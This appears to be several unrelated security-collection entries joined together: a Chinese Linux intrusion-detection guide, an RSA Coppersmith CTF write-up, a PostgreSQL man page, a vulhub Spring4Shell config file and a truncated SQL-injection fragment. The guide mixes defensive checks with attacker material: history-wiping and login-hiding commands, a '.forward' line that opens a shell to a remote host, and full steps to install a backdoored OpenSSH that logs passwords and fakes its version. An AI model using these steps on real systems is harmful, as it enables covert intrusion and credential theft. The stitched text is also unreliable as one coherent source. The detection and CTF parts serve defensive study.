默认情况下命令历史存储在~/.bash_history 文件中 。 添加下列内容到 .bash_profile 文件并重新登录bash shell, 将使用 /var/history/$USER-$UID.log 来存储命令历史,并可以定时上报到日志server进行审计,缺点是执行 history 命令看不到命令历史,对此也可以不改变命令历史的存储文件,而是每分钟同步一份~/.bash_history 到 bash_history_tmp,并上报审计。
``` bash
# vi ~/.bash_profile //输入以下内容
HISTFILE=/var/history/$USER-$UID.log
```
如果history 被删,可以结合 accton 和 lastcomm 进行审计
相关参数:
history 查看所有历史记录
history -10 查看最近10条记录
history | grep "wget" 查看wget相关信息的记录
history –help 命令帮助信息
## 检查ssh 登录
### ssh 登录方式:
1. 客户端存服务端的公钥。每次输入密码,用公钥加密后传输,服务端用私钥解密。当远程主机的公钥被接受以后,它就会被保存在文件$HOME/.ssh/known_hosts之中。下次再连接这台主机,系统就会认出它的公钥已经保存在本地了,从而跳过警告部分,直接提示输入密码。
2. 服务端存客户端的公钥。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。如果还是不行,就打开远程主机的/etc/ssh/sshd_config这个文件,检查下面几行前面"#"注释是否取掉。
```
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
PasswordAuthentication no # 禁止密码登录
PermitRootLogin no # 禁止root 登录
```
远程主机将用户的公钥,保存在登录后的用户主目录的$HOME/.ssh/authorized_keys文件中。公钥就是一段字符串,只要把它追加在authorized_keys文件的末尾就行了。
e.g 远程主机用户project 主目录下已存公钥,本地用户simba 将私钥id_rsa(权限设置为600)放在$HOME/.ssh 目录下,即可 ssh project@dst 登录远程主机。
### ssh 加固:
除了私钥登录,再加上一层随机token 保障
TOTP协议:
https://tools.ietf.org/html/rfc6238
Google-Authenticator:
https://github.com/google/google-authenticator
https://aws.amazon.com/cn/blogs/startups/securing-ssh-to-amazon-ec2-linux-hosts/
https://wiki.archlinux.org/index.php/Google_Authenticator
### ssh 伪装技巧:
1. 作为跳板的时候,我们有可能需要用本机的ssh去访问别的机器,为了不保存别的机器的公钥在当前用户的目录下
`ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i`
就可以了,但在这样运行某些命令的时候可能会有提示,说你的stdin不是个terminal,这里可以这样解决:python -c 'import pty; pty.spawn("/bin/sh")' 或者自己再建立个ttyshell。
2. 登录ssh之后不记录history(记住:从 webshell弹回的shell也会记录你的操作)
`unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0`
3. 在跳板上登录目标 ssh -T somebody@1.1.1.1 /bin/bash –i,管理员使用 w 命令也查看不到登录tty状态。
4. 检查登录失败特征
一般来说,我们可以查看/etc/syslog.conf来获得log文件存放的位置,比如redhat 将登录日志保存在/var/log/secure。
`grep "Failed password for root" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more`
注意:有很多运维喜欢半夜做发布,故登录时间比较晚不一定是黑客,主要看失败次数,以及登录的聚集时间。
5. sftp 登录
SSH File Transfer Protocol (SFTP) is a part of the SSH protocol suite. Sometimes also called the Secure File Transfer Protocol, it provides implements secure file transfers over SSH. It supports the full security and authentication functionality of the SSH protocol, including SSH keys.
Only successful login attempt via sftp yourusername@yourservername are logged into /var/log/auth.log marked with
TIMESTAMP SERVERNAME sshd[xxxx] subsystem request for sftp
## 检查文件状态改动时间
在windows下,一个文件有:创建时间、修改时间、访问时间。
而在Linux下,一个文件也有三种时间,分别是:访问时间、修改时间、状态改动时间。
两者有此不同,在Linux下没有创建时间的概念,也就是不能知道文件的建立时间,但如果文件建立后就没有修改过,修改时间=建立时间; 如果文件建立后,状态就没有改动过,那么状态改动时间=建立时间; 如果文件建立后,没有被读取过,那么访问时间=建立时间。因为不好判断文件是否被改过、读过、其状态是否变过,所以判断文件的建立时间基本上能为不可能。
1、访问时间(ls -la filename),读一次这个文件的内容,这个时间就会更新。比如对这个文件运用 more、cat 等命令。ls、stat命令都不会修改文件的访问时间。
2、修改时间(ls -l filename),修改时间是文件内容最后一次被修改时间。比如:vi后保存文件。ls -l 列出的时间就是这个时间。
3、状态改动时间(ls -lc filename)。是该文件的 i 节点最后一次被修改的时间。通过chmod、chown命令修改一次文件属性,这个时间就会更新。
某文件从其他服务器传到本服务器路径下,或者从某个压缩包中解压,change time 会变成当前时间,而 access time 和 modify time 不会变化。再结合进程的启动时间,基本就能确定此文件首次在本服务器的生成时间。
touch -r use this file's times instead of current time
## 检查用户
Linux不同的用户,有不同的操作权限,但是所有用户都会在/etc/passwd、/etc/shadow、/etc/group文件中记录。
less /etc/passwd 查看是否有新增用户
grep :0 /etc/passwd 查看是否有特权用户(root权限用户)
ls -l /etc/passwd 查看passwd最后修改时间
awk -F: '$3==0 {print $1}' /etc/passwd 查看是否存在特权用户
awk -F: 'length($2)==0 {print $1}' /etc/shadow 查看是否存在空口令用户
注:linux设置空口令:passwd -d username
## 检查进程
一般被入侵的服务器都会运行一些恶意程序,或是挖矿程序,或者DDOS程序等等,如果程序运行着,那么通过查看进程可以发现一些信息。
如一般的反弹shell,核心是将bash的标准输入和标准输出都绑定到了socket fd 上,故 lsof -p pid 如果看到某bash 进程的0 1 绑定在tcp:socket 上,就是有问题的。简单通过 bash -i 来判断是否反弹shell,可能导致误报,如 /usr/bin/script脚本的作用是用于存储每个SESSION的工作,只有在远程连接中的情况下才会被执行,默认执行就会启动 bash -i。
### 普通进程
ps -aux 查看进程
top 查看进程
lsof -p pid 查看进程所打开的端口及文件
lsof -c 进程名 查看关联文件
ps -aux | grep python | cut -d ' ' -f 2 | xargs kill 杀死python相关的进程
检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v "^#",输出的信息就是你这台机器所开启的远程服务。
lsof -i TCP -nP |grep -E 'LISTEN|ESTABLISHED' vs ss -napt 的输出对比

如果进程中没有发现异常,那么可以看看有没有开启某些隐藏进程。
### 隐藏进程
ps -ef | awk '{print}' | sort -n | uniq >1
ls /proc | sort -n |uniq >2
diff 1 2
注:以上3个步骤为检查隐藏进程。
## 检查文件
被入侵的网站,通常肯定有文件被改动,那么可以通过比较文件创建时间、完整性、文件路径等方式查看文件是否被改动。
find / -uid 0 -print 查找特权用户文件
find / -size +10000k -print 查找大于10000k的文件
find / -name "…" -print 查找用户名为 … 的文件
find / -name core -exec ls -l {} \; 查找core文件,并列出详细信息
md5sum -b filename 查看文件的md5值
rpm -qf /bin/ls 检查文件的完整性(还有其它/bin目录下的文件)
whereis 文件名 查看文件路径
ls -al 文件名 查看文件创建时间(包括 . 开头的隐藏文件,注意看一些目录下如/var/tmp下面是否放一些提权工具,命名为 .. 之类)
du -sh 文件名 查看文件大小
## 检查系统文件完整性
检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。
UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门 :
UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。
管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum 文件名检查该文件的md5签名。它的使用格式如下:md5sum –b 使用二进制方式阅读文件;md5sum –c 逆向检查MD5签名;md5sum –t 使用文本方式阅读文件。
在前面提到过守护进程,对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:`telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd`
可以看到它所使用的文件是 /usr/sbin/in.telnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。
LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat /etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。
不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序;这个方法怎么有点象查windows下的trojan。
说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx .sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找,然后删除这样的文件。
### RPM check检查
系统完整性也可以通过rpm自带的-Va来校验检查所有的rpm软件包,有哪些被篡改了,防止rpm也被替换,上传一个安全干净稳定版本rpm二进制到服务器上进行检查
`./rpm -Va > rpm.log`
如果一切均校验正常将不会产生任何输出。如果有不一致的地方,就会显示出来。输出格式是8位长字符串, c 用以指配置文件, 接着是文件名。 8位字符的每一个用以表示文件与RPM数据库中一种属性的比较结果。 `.` (点) 表示测试通过。 `.` 下面的字符表示对RPM软件包进行的某种测试失败:
```
5 MD5 校验码
S 文件尺寸
L 符号连接
T 文件修改日期
D 设备
U 用户
G 用户组
M 模式e (包括权限和文件类型)
```
借用sobug文章案例:如下图可知ps, pstree, netstat, sshd等等系统关键进程被篡改了。

## 检查网络
检查网络的目的,是查看黑客是否通过篡改网卡类型,进行流量嗅探等操作。
ip link | grep PROMISC 正常网卡不应该存在promisc,如果存在可能有sniffer
lsof -i
netstat -nap 查看不正常端口
arp -a 查看arp记录是否正常
ifconfig -a 查看网卡设置
通过端口号查询监听的进程,-i4 表示ipv4
`lsof -Pnl +M -i4 | grep 2222`
## 检查计划任务
当我们尝试kill恶意程序时,往往会遇到被kill程序自动启动的问题,那么就要检查下计划任务(cron)了。
/var/spool/cron/username 是用户 username 定义的任务所在的文件,有些黑客喜欢用bin 用户。
a) 通过crontabl –l 查看当前的任务计划有哪些,是否有后门木马程序启动相关信息;
b) 查看etc目录任务计划相关文件,ls /etc/cron*
查看linux 开机启动程序
a) 查看rc.local文件(/etc/init.d/rc.local /etc/rc.local)
b) ls –alt /etc/init.d/
c) chkconfig
## 检查系统中的core文件
通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} \; 依据core所在的目录、查询core文件来判断是否有入侵行为。
## 检查系统后门
可以使用工具,如:clamAV(病毒库比较难下)、lynis(基础安全检查非常不错)、Conmodo、rkhunter、chkrootkit 等,
当然也可以手工输入命令检查。
vim $HOME/.ssh/authorized_keys 查看ssh永久链接文件
lsmod 检查内核模块
chkconfig –list/systemctl list-units –type=service 检查自启
查看著名的木门后门程序:
ls /etc/rc.d
ls /etc/rc3.d
find / -name ".rhosts" –print
find / -name ".forward" –print
在某用户的$HOME下,.rhosts文件中仅包含两个+号是非常危险的,如果你的系统上开了513端口(rlogin端口,和telnet作用相同),那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。
Unix下在.forward文件里放入命令是重新获得访问的常用方法,在某一 用户$HOME下的.forward可能设置如下:
`\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"`
这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序, 很有可能还有问题。在Solaris系统下,如果你运行如下命令:
ln -s /var/mail/luser ~/.forward
然后设置vacation有效,那么/var/mail/luser就会被拷贝到~/.forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/.forward..BACKUP中。
直接删除掉这两个文件也可以。
## 检查内核级后门
如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了。
言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。
另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。
### 检查网站后门
如果服务器上运行着web程序,那么需要检查是否通过web漏洞入侵服务器,具体的判断方法可以结合分析中间件日志以及系统日志,但过程需要较长时间。我们也可以通过检查服务器上是否留有入侵者放置的网站后门木马,以此判断黑客是否通过web应用入侵到服务器 [php-malware-finder](https://github.com/nbs-system/php-malware-finder)。
## Webshell查找
Webshell的排查可以通过文件、流量、日志三种方式进行分析,基于文件的命名特征和内容特征,相对操作性较高,在入侵后应急过程中频率也比较高。可根据webshell特征进行命令查找,简单的可使用(当然会存在漏报和误报)
```
find /var/www/ -name "*.php" |xargs egrep 'assert|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval \(str_rot13|\.chr\(|\$\{\"\_P|eval\(\$\_R|file_put_contents\(\.\*\$\_|base64_decode'
```
Webshell的排查可以通过Github上存在各种版本的webshell查杀脚本,当然都有自己的特点,可使用河马shell查杀(shellpub.com)
综上所述,通过chkrootkit 、rkhunter、RPM check、Webshell Check 等手段得出以下应对措施:
1. 根据进程、连接等信息关联的程序,查看木马活动信息。
2. 假如系统的命令(例如netstat ls 等)被替换,为了进一步排查,需要下载一新的或者从其他未感染的主机拷贝新的命令。
3. 发现可疑可执行的木马文件,不要急于删除,先打包备份一份。
4. 发现可疑的文本木马文件,使用文本工具对其内容进行分析,包括回连IP地址、加密方式、关键字(以便扩大整个目录的文件特征提取)等。
## 应用类
Apache、tomcat、Nginx、IIS
无论任何web服务器其实日志需要关注的东西是一致的,即access_log和error_log。一般在确定ip地址后,通过:
`find . access_log |grep xargs ip攻击地址`
`find . access_log| grep xargs 木马文件名`
页面访问排名前十的IP
`cat access.log | cut -f1 -d " " | sort | uniq -c | sort -k 1 -r | head -10`
页面访问排名前十的URL
`cat access.log | cut -f4 -d " " | sort | uniq -c | sort -k 1 -r | head -10`
查看最耗时的页面
`cat access.log | sort -k 2 -n -r | head 10`
在对WEB日志进行安全分析时,可以按照下面两种思路展开,逐步深入,还原整个攻击过程。
首先确定受到攻击、入侵的时间范围,以此为线索,查找这个时间范围内可疑的日志,进一步排查,最终确定攻击者,还原攻击过程。

一般攻击者在入侵网站后,通常会上传一个后门文件,以方便自己以后访问。我们也可以以该文件为线索来展开分析。

## 打包文件
当我们做好一切入侵检测分析后,我们需要把一些日志文件copy到本地进行更进一步详细的分析时,怎么打包服务器相关信息,并且copy到本地呢?
### 打包web文件
打包文件名中包含jsp的文件,打包后的文件为my_txt_files.tar:
tar cvf my_txt_files.tar `find . -type f -name "*.jsp*"`
打包日志文件
tar -cvf log.tar /var/log
### 打包其他信息
last > last.log
netstat -an > netstat.log
......
### 传输文件到本地
将服务器上的文件传输到本地电脑上的几种方法。
lrzsz
如果ssh连接的客户端为xshell等,可以安装lrzsz命令(putty无法使用)
apt-get install lrzsz
使用:
上传文件到linux,rz;下载linux文件,sz 文件名。
开启ftp或者http
开ftp这里我不介绍了,网上很多教程,这里主要说说开启http服务。
一般linux服务器都默认安装了python,那么可以借助python快速开启一个http服务。
本文总结的都是一些Linux入侵检测最基础的命令,至于怎么用好这些命令,需要结合实际情况,主要还是看经验。以上所诉,还只是入侵检测信息收集阶段,至于如何通过现有信息分析出入侵途径,还需要借助其他工具以及知识。
## 渗透反辅
### 密码读取
a) Windows: Mimikatz
b) Linux: mimipenguin
### 帐号信息
a) 操作系统帐号
b) 数据库帐号
c) 应用帐号信息
### 敏感信息
a) 配置信息
b) 数据库信息
c) 服务端口信息
d) 指纹信息
### 滚雪球式线性拓展
a) 密码口令类拓展(远控)
b) 典型漏洞批量利用
### 常见的入侵方式Getshell方法
a) WEB入侵
i. 典型漏洞:注入Getshell , 上传Getshell,命令执行Getshell,文件包含Getshell,代码执行Getshell,编辑器getshell,后台管理Getshell,数据库操作Getshell
ii. 容器相关:Tomcat、Axis2、WebLogic等中间件弱口令上传war包等,Websphere、weblogic、jboss反序列化,Struts2代码执行漏洞,Spring命令执行漏洞
b) 系统入侵
i. SSH 破解后登录操作
ii. RDP 破解后登录操作
iii. MSSQL破解后远控操作
iv. SMB远程命令执行(MS08-067、MS17-010、CVE-2017-7494)
c) 典型应用
i. Mail暴力破解后信息挖掘及漏洞利用
ii. VPN暴力破解后绕过边界
iii. Redis 未授权访问或弱口令可导ssh公钥或命令执行
iv. Rsync 未授权访问类
v. Mongodb未授权访问类
vi. Elasticsearch命令执行漏洞
vii. Memcache未授权访问漏洞
viii. 服务相关口令(mysql ldap zebra squid vnc smb)
## 举例 ssh 后门
### 安装步骤:
http://core.ipsecs.com/rootkit/patch-to-hack/0×06-openssh-5.9p1.patch.tar.gz
http://ftp.eu.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
安装前首先
ssh -V
[root@vincent tmp]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
记录下原来ssh版本信息,免得安装后一看就版本不一样了
``` bash
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff //patch 后门
```
vi includes.h //修改后门密码,记录文件位置
``` c
/*
+#define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码
+#define OLOG "/tmp/olog" //记录本机登录到远程的用户名和密码
+#define SECRETPW "123456654321" //你后门的密码
*/
```
vi version.h //修改SSH_VERSION,改成原来的OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

先安装所需环境不然会报错
```
yum install -y openssl openssl-devel pam-devel
// apt-get install openssl libpam0g-dev libkrb5-dev
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
```
注意要是出现:`configure: error: *** zlib.h missing – please install first or check config.log`
需要安装zlib
```
yum install -y zlib zlib-devel
make && make install
```
```
service sshd restart //重启sshd
// /etc/init.d/ssh restart
```
然后我们登录ssh看看,不会记录使用后门密码登录的记录。
### 修复方案:
1)重装openssh软件
2)SSH禁止对外开放
应急响应:
1)比对ssh的版本
ssh -V
2)查看ssh配置文件和/usr/sbin/sshd的时间
stat /usr/sbin/sshd
3)strings检查/usr/sbin/sshd,看是否有邮箱信息
strings可以查看二进制文件中的字符串,在应急响应中是十分有用的。有些sshd后门会通过邮件发送登录信息,通过strings /usr/sbin/sshd可以查看到邮箱信息。
4)通过strace监控sshd进程读写文件的操作
一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。
``` bash
ps axu | grep sshd | grep -v grep
root 65530 0.0 0.1 48428 1260 ? Ss 13:43 0:00 /usr/sbin/sshd
strace -o aa -ff -p 65530
grep open aa* | grep -v -e No -e null -e denied| grep WR
aa.102586:open("/tmp/ilog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 4
```
## Reference
[Linux 入侵检测基础](http://thief.one/2017/03/24/Linux%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%85%A5%E4%BE%B5%E6%A3%80%E6%B5%8B%E5%9F%BA%E7%A1%80/)
[入侵检测方法和缺陷](http://www.venustech.com.cn/NewsInfo/385/7467.Html)
[prochunter](https://gitlab.com/nowayout/prochunter)
|
sec-knowleage
|
# Bazik (crypto, 74 solved, 100p)
In the challenge we can connect to a remote server.
Session is basically:
```
Choose one:
1. Test the OTP
2. Get the public key
3. Get flag
1
otp should be: 687845634
encrypted dat: 764a18c52802f763f721b6b2d7fd82738e08dc660d039f1a3ee9dff84159cc102de36537d659e26e6a6e9b1088239b4db6bce64929183e8bfd93ad2acef6b3bfe30e53c59f9f205260de5fe149bdeb486a01ed61ca9e574b8807a3a466275c5c2b118015e538eb4bf81a28fc6d51469cde0e441d8348844a3984e35aedfd69f0
decrypted dat: Your OTP for transaction #731337 in ABCXYZ Bank is 687845634.
decrypted otp: ['687845634']
Choose one:
1. Test the OTP
2. Get the public key
3. Get flag
2
-----BEGIN PUBLIC KEY-----
MIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQCh+QbIPzbKDr8U/+sxHxr9I2vs
352vWIMlGHa1UNx9nvH0PQT8FsaXv0n5mmWwcL6qDxWL/JDRPdN6GrWuYrGTHlEY
qrrMu29K6vUjBlEh91OI1reC/I+ifSk9wPJEqaIW7IQKmlUVCbNyx5nEJ0PDHjLo
pFbCdFW45x5OWu56QwIBAw==
-----END PUBLIC KEY-----
Choose one:
1. Test the OTP
2. Get the public key
3. Get flag
3
encrypted dat: 013137fd49bcccd5cb123102231a46b2047f043431295112c748fd8bad840a5fcf46ed1a07c5e1eeebd380e73a0e827798c76ae0c69a3cef6b161d4acd14c5799fd1e36063e009571fb2314c2e619ea98754c3b908d3f52bbf2522069fac574ccb7562b08e563e030eaf1d381fbc5e26294e2f5e6bb09077333598cc9abfb996
send me otp to get flag >>>
```
What happens here is:
1. We have RSA public key. Worth noticing that `e=3` so is very small.
2. We can "test OTP", which just shows us how the value is encrypted. The value for encryption is `Your OTP for transaction #731337 in ABCXYZ Bank is XXXX.` where XXXX is the random OTP value. We can verify this by encrypting the payload with given public RSA key.
3. When we request the flag it will ask us for OTP value of some encrypted payload.
It is important to notice that the encrypted messages differ only very slightly.
We can abuse this by using `Stereotyped Messages Attack` which can decrypt such messages using Coppersmith method:
- We have encrypted message `c`
- We have `similar` message for which we know plaintext, in our case `m = bytes_to_long("Your OTP for transaction #731337 in ABCXYZ Bank is 000000000.")`
- We can build a polynomial `((m + x)^e - c) mod N` and root of such polynomial would be the difference between our known message and the encrypted message we have.
- This can be efficiently calculated as long as the difference doesn't exceed `N^1/e`.
```python
import time
import sys
def long_to_bytes(data):
data = str(hex(long(data)))[2:-1]
return "".join([chr(int(data[i:i + 2], 16)) for i in range(0, len(data), 2)])
def bytes_to_long(data):
return int(data.encode('hex'), 16)
def main():
e,N = (3L, 101100845141156293469516586973179461987930689009763964117872470309684853512775295312081121501322683984914454311655512983781714534411655378725344931438891842226528067586198216797211681076517718505980665732445770547794541814618131322049740520275847849231052080791884055178607671253203354019327951368529475389269L)
c = 0x20375ebbb61e4841c9cb223fbbdd3bfc271fdfc581680ea1e8e6232b7a37a8d34e9979c0e0f44dac09efa840d8c3d74e59ec6477a2378221e7130d3b82602be37472df51621cc3e4b4be845c8c320051c9a712eafb50fe738c07bf01901d889981b3b0cea2abd3ef9771ae06de089791e83700627e2f8e5f83f17c082542a3da
m = bytes_to_long("Your OTP for transaction #731337 in ABCXYZ Bank is 000000000.")
P.<x> = PolynomialRing(Zmod(N), implementation='NTL')
pol = (m + x)^e - c
roots = pol.small_roots(epsilon=1/30)
print("Potential solutions:")
for root in roots:
print(root, long_to_bytes(m+root))
main()
```
This code for given public key and ciphertext returns the decrypted value.
Once we submit the OTP to the server we get `MeePwnCTF{blackbox-rsa-is-0xd34d}`
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "CREATE TRIGGER" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
CREATE TRIGGER \- 定义一个新的触发器
.SH SYNOPSIS
.sp
.nf
CREATE TRIGGER \fIname\fR { BEFORE | AFTER } { \fIevent\fR [ OR ... ] }
ON \fItable\fR [ FOR [ EACH ] { ROW | STATEMENT } ]
EXECUTE PROCEDURE \fIfuncname\fR ( \fIarguments\fR )
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBCREATE TRIGGER\fR 创建一个新的触发器。 触发器将与指定表关联并且将在特定事件发生时执行声明的函数 func。
.PP
触发器可以声明为在对记录进行操作之前(在检查约束之前和 INSERT,UPDATE 或 DELETE 执行前)或操作完成之后(在检查约束之后和完成 INSERT, UPDATE 或 DELETE 操作)触发。 如果触发器在事件之前,触发器可能略过当前记录的操作或改变被插入的(当前)记录(只对 INSERT 和 UPDATE 操作有效)。 如果触发器在事件之后,所有更改,包括最后的插入, 更新或删除对触发器都是"可见"的。
.PP
一个 FOR EACH ROW 执行指定操作的触发器为操作修改的每一行都调用一次。比如,一个影响 10 行的 DELETE 将导致任何在目标关系上的 ON DELETE 触发器独立调用 10 次, 每个被删除的行一次。相比之下,一个为指定操作 FOR EACH STATEMENT 的触发器只是为任何操作执行一次,不管有多少行被修改。 (特别是,一个修改零行的操作仍然会导致任何合适的 FOR EACH STATEMENT 触发器的执行。)
.PP
如果多个同类型的触发器为同样事件做了定义, 那么它们将按照字母顺序被激活。
.PP
SELECT 并不更改任何行,因此你不能创建 SELECT 触发器。这种场合下规则和视图更合适些。
.PP
请参考 Part V ``Triggers'' 获取更多信息。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
赋予新触发器的名称。它必需和任何作用于同一表的触发器不同。
.TP
\fBBEFORE\fR
.TP
\fBAFTER\fR
决定该函数是在事件之前还是之后调用。
.TP
\fB\fIevent\fB\fR
INSERT,DELETE 或 UPDATE 其中之一。 它声明击发触发器的事件。多个事件可以用 OR 声明。
.TP
\fB\fItable\fB\fR
触发器作用的表名称(可以用模式修饰)。
.TP
\fBFOR EACH ROW\fR
.TP
\fBFOR EACH STATEMENT\fR
这些选项声明触发器过程是否为触发器事件影响的每个行触发一次, 还是只为每条 SQL 语句触发一次。如果都没有声明, FOR EACH STATEMENT 是缺省。
.TP
\fB\fIfunc\fB\fR
一个用户提供的函数,它声明为不接受参数并且返回 trigger 类型。
.TP
\fB\fIarguments\fB\fR
一个可选的用逗号分隔的参数列表,它将在触发器执行的时候提供给函数, 这些参数是文本字串常量。也可以在这里写简单的名字和数值常量,但是它们会被转换成字串。 请检查实现语言中关于如何在触发器函数中访问触发器参数的描述; 这些参数可能和普通的函数参数不同。
.SH "NOTES 注意"
.PP
要在一个表上创建一个触发器,用户必需在该表上有 TRIGGER 权限。
.PP
在 PostgreSQL 版本 7.3 以前, 我们必须把触发器函数声明为返回占位类型 opaque, 而不是 trigger。为了支持装载老的转储文件, CREATE TRIGGER 将接受一个声明为返回 opaque 的函数, 但是它将发出一条 NOTICE 并且把函数声明的返回类型改成 trigger。
.PP
用 DROP TRIGGER [\fBdrop_trigger\fR(7)] 获取如何删除触发器的信息。
.SH "EXAMPLES 例子"
.PP
Section 33.4 ``Triggers'' 包含一个完整的例子。
.SH "COMPATIBILITY 兼容性"
.PP
\fBCREATE TRIGGER\fR 里的 CREATE TRIGGER 语句实现了一个 SQL99 标准的子集。 (SQL92 里没有触发器) 目前仍然缺少下面的功能∶
.TP 0.2i
\(bu
SQL99 允许触发器为指定的字段的更新进行触发(也就是说,AFTER UPDATE OF col1, col2)。
.TP 0.2i
\(bu
SQL99 允许你为 "old" 和 "new" 行或者表定义别名,用于定义触发器的动作(也就是说, CREATE TRIGGER ... ON tablename REFERENCING OLD ROW AS somename NEW ROW AS othername ...)。因为 PostgreSQL 允许触发器过程以任意数量的用户定义语言进行书写,所以访问数据的工作是用和语言相关的方法实现的。
.TP 0.2i
\(bu
PostgreSQL 只允许为触发的动作执行存储的过程。SQL99 允许执行一些其他的 SQL 命令, 比如那 CREATE TABLE 作为触发器动作。 这个限止并不难绕开,只要创建一个执行这些命令的存储过程即可。
.PP
.PP
SQL99 要求多个触发器应该以创建的时间顺序执行。 PostgreSQL 采用的是按照名字顺序, 我们认为这样更加方便。
.PP
用 OR 给一个触发器声明多个动作是 PostgreSQL 对标准的扩展。
.SH "SEE ALSO 参见"
CREATE FUNCTION [\fBcreate_function\fR(7)], ALTER TRIGGER [\fBalter_trigger\fR(l)], DROP TRIGGER [\fBdrop_trigger\fR(l)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
package org.vulhub.spring4shell.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.EnableWebMvc;
import org.springframework.web.servlet.view.InternalResourceViewResolver;
import org.springframework.web.servlet.view.JstlView;
@Configuration
@EnableWebMvc
@ComponentScan(basePackages = { "org.vulhub.spring4shell" })
public class AppConfig {
@Bean
public InternalResourceViewResolver resolver() {
InternalResourceViewResolver resolver = new InternalResourceViewResolver();
resolver.setViewClass(JstlView.class);
resolver.setPrefix("/WEB-INF/views/");
resolver.setSuffix(".jsp");
return resolver;
}
}
|
sec-knowleage
|
# 0x00 再谈万能密码登陆
万能密码基本大家都用过,各种各样的,如下
```
'or 1=1/*
